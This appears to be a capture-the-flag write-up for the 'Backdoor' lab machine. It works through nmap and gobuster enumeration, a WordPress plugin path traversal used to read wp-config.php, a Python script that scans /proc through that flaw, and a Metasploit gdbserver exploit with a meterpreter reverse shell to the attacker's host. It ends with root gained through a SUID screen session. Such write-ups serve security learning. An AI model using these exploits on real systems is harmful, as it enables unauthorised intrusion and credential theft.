Enumeration
sudo nmap -p- -sV 10.129.103.13
Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-21 00:36 EET
Nmap scan report for backdoor.htb (10.129.103.13)
Host is up (0.065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 230.73 seconds
There is a weird 1337 port that can be used by any application. We can try to netcat to it, but we get no response.
If we scan the website, we see it is a Wordpress blog. The page doesn’t have much content so we might have to scan the Wordpress dirs.
We can list files in wp-content/uploads
, but there is not much there. I also did
a scan with wpscan
(but seems to be a useless tool):
wpscan --api-token XXXX --url <http://backdoor.htb>
I then ran a gobuster
scan only for Wordpress folders, and found the plugins
folder (/wp-content/plugins/
) can be listed.
gobuster -w /usr/share/dirbuster/cms/wordpress.fuzz.txt dir -b 404,302 --exclude-length 0 --url <http://backdoor.htb>
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://backdoor.htb>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/cms/wordpress.fuzz.txt
[+] Negative Status codes: 302,404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/21 13:58:02 Starting gobuster in directory enumeration mode
===============================================================
/wp-admin/admin-footer.php (Status: 200) [Size: 2]
/readme.html (Status: 200) [Size: 7346]
/license.txt (Status: 200) [Size: 19915]
/wp-admin/admin-ajax.php (Status: 400) [Size: 1]
/wp-admin/css/ (Status: 200) [Size: 22220]
/wp-admin/edit-form-comment.php (Status: 200) [Size: 2]
/wp-admin/edit-link-form.php (Status: 200) [Size: 2]
/wp-admin/edit-tag-form.php (Status: 200) [Size: 2]
/wp-admin/images/ (Status: 200) [Size: 16710]
/wp-admin/includes/ (Status: 200) [Size: 24762]
/wp-admin/edit-form-advanced.php (Status: 200) [Size: 2]
/wp-admin/js/ (Status: 200) [Size: 20773] [
/wp-admin/install.php (Status: 200) [Size: 1275]
/wp-admin/maint/ (Status: 200) [Size: 967]
/wp-admin/maint/repair.php (Status: 200) [Size: 1640]
/wp-admin/setup-config.php (Status: 500) [Size: 2686]
/wp-admin/upgrade.php (Status: 200) [Size: 1245]
/wp-content/plugins/akismet/admin.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/index.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/legacy.php (Status: 403) [Size: 277]
/wp-content/plugins/akismet/readme.txt (Status: 403) [Size: 277]
/wp-content/plugins/akismet/widget.php (Status: 403) [Size: 277]
/wp-content/plugins/ (Status: 200) [Size: 1185]
/wp-content/plugins/akismet/ (Status: 403) [Size: 277]
/wp-includes/ (Status: 200) [Size: 52159]
/wp-includes/css/ (Status: 200) [Size: 9205]
...
/wp-includes/ms-files.php (Status: 200) [Size: 29]
/wp-includes/pomo/ (Status: 200) [Size: 1987]
/wp-includes/SimplePie/Cache/ (Status: 200) [Size: 2202]
/wp-includes/SimplePie/ (Status: 200) [Size: 6368]
/wp-includes/SimplePie/Content/ (Status: 200) [Size: 999]
/wp-includes/SimplePie/Content/Type/ (Status: 200) [Size: 1030]
/wp-includes/SimplePie/Decode/ (Status: 200) [Size: 997]
/wp-includes/SimplePie/Decode/HTML/ (Status: 200) [Size: 1029]
/wp-includes/SimplePie/HTTP/ (Status: 200) [Size: 1004]
/wp-includes/SimplePie/Parse/ (Status: 200) [Size: 1002]
/wp-includes/SimplePie/Net/ (Status: 200) [Size: 998]
/wp-includes/SimplePie/XML/Declaration/ (Status: 200) [Size: 1030]
/wp-includes/SimplePie/XML/ (Status: 200) [Size: 1005]
/wp-includes/Text/ (Status: 200) [Size: 1160]
/wp-includes/Text/Diff/ (Status: 200) [Size: 1385]
/wp-includes/Text/Diff/Engine/ (Status: 200) [Size: 1607]
/wp-includes/Text/Diff/Renderer/ (Status: 200) [Size: 1012]
/wp-includes/theme-compat/ (Status: 200) [Size: 2646]
/wp-includes/wlwmanifest.xml (Status: 200) [Size: 1045]
/wp-links-opml.php (Status: 200) [Size: 223]
/wp-mail.php (Status: 403) [Size: 2616]
/wp-login.php (Status: 200) [Size: 5674]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-trackback.php (Status: 200) [Size: 135]
===============================================================
2021/11/21 13:58:13 Finished
===============================================================
If we list the plugins, we see the following:
[DIR] ebook-download/ 2021-11-10 14:18 -
[ ] hello.php 2019-03-18 17:19 2.5K
There is a hello.php
file and an ebook-download
plugin.
Getting the foothold
We can access /wp-content/plugins/ebook-download/readme.txt
to check the
plugin’s version, which is 1.1 (Stable tag: 1.1
). If we google a bit about this,
we can find a vulnerability for that version.
curl '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php>'
And we will get the wp-config.php
. We can see some passwords and seeds, but none
of those help us get into wp-admin
.
After a lot of time trying to get into wp-admin
(I even tried to perform a
dictionary attack with wpxploit
), I decided to investigate more the port 1337
(maybe that’s why the machine is named backdoor).
We don’t have a reverse shell yet, so we can’t just show the used ports and the
processes. Wait… we actually can but in an uncommon way: the proc
filesystem.
The proc
filesystem shows processes info, which can help us find which process
is using the 1337 port. In order to do that, we will need to scan all the PIDs
(as we don’t know which one to look at), so I will be using a python script for
that.
At first I tried to test the /proc/PID/net/tcp
file of each process, but it
seems like it is a shared file (it has the same content of /proc/net/tcp
). In
this file we can see the used ports in hexadecimal (00000000:0539 -> 0.0.0.0:1337
):
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 35896 1 0000000000000000 100 0 0 10 0
1: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 35898 1 0000000000000000 100 0 0 10 0
2: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 33011 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 33687 1 0000000000000000 100 0 0 10 0
4: 00000000:0539 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 195237 1 0000000000000000 100 0 0 10 0
5: 0D67810A:BAE8 01010101:0035 02 00000001:00000000 01:000000D6 00000002 101 0 271782 2 0000000000000000 400 0 0 1 7
Then, I tried scanning all the /proc/PID/fd/number
to check which process had
that port used, but without any result.
I ended up checking the cmdline
file to show the command executed to run the process, and filtered the ones which contained the port (as we usually run the cli applications with the address as parameter).
import requests
# curl '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=FILE>'
baseUrl = '<http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=>'
# Clear the results (some weird output from ebook-download)
def req(file):
x = requests.get(f"{baseUrl}{file}")
req_text = x.text
filtered_req = req_text.lstrip(check_file).rstrip('<script>window.close()</script>')
return filtered_req
for pid in range(0, 50000):
check_file = f"/proc/{pid}/cmdline"
res = req(check_file)
if res != "":
if "1337" in res:
print(f"Found possible process {pid} with cmd:")
print(res)
After running it, we get the following result:
Found possible process 956 with cmd:
bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
Getting the user flag
It is a gdbserver
. It is known that you can run host commands through some
debugging tools, such as the python or php ones. So I googled about this and
found the following exploit:
gdb
to get a reverse shell.
Although, there is a metasploit
for performing this exploit, so I won’t be
covering the steps to do it manually.I configured it like this:msf exploit(gdb_server_exec) > show options
Module options (exploit/multi/gdb/gdb_server_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
EXE_FILE /bin/true no The exe to spawn when gdbserver is not attached to a process.
RHOSTS backdoor.htb yes The target host(s), see <https://github.com/rapid7/metasploit-framewo>
rk/wiki/Using-Metasploit
RPORT 1337 yes The target port (TCP)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.187 yes The listen address (an interface may be specified)
LPORT 6666 yes The listen port
Exploit target:
Id Name
-- ----
1 x86_64 (64-bit)
msf exploit(gdb_server_exec) > exploit
After running it, we get a meterpreter
shell, which can be converted into a
normal one using the shell command:
meterpreter > shell
Process 7509 created.
Channel 1 created.
id
uid=1000(user) gid=1000(user) groups=1000(user)
python3 -c 'import pty; pty.spawn("/bin/bash")'
user@Backdoor:~$
user@Backdoor:~$ export TERM=xterm
And we can get the user flag!
Privilege escalation
After some enumeration, I listed all the files with the suid
bit activated.
user@Backdoor:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec
We can see there is a screen
executable, which is owned by root.
-rwsr-xr-x 1 root root 474280 Feb 23 2021 /usr/bin/screen
screen
is like a terminal multiplexer. We can see the sessions listed in the
folder /run/screen
:
user@Backdoor:~$ ls /run/screen
S-root S-user
And it seems like root is running its own. You can easily connect to a user with screen -x youruser/
. So we can run it with root (as the suid
bit is activated):
screen -x root/
root@Backdoor:~# id
id
uid=0(root) gid=0(root) groups=0(root)
and get a root shell. Now you can get the root flag!
Conclusion
Getting the foothold in this machine was quite frustrating for me. I never did a Wordpress pentest, but it makes a lot of sense to pay attention to the plugins, as Wordpress is developed by a bigger company and it is easier for a plugin developer to introduce a bug.
Also, I was lucky with the proc
method, because most of the ports are configured
nowadays with env
or config files. To be honest, I wouldn’t consider the user
easy. Although, the root was pretty straitforward if you looked for what you had
to look for.
References
- Important Wordpress files
wpxploit
(Directory Attack credentials)proc
filesystem- Remote Code Execution in
gdbserver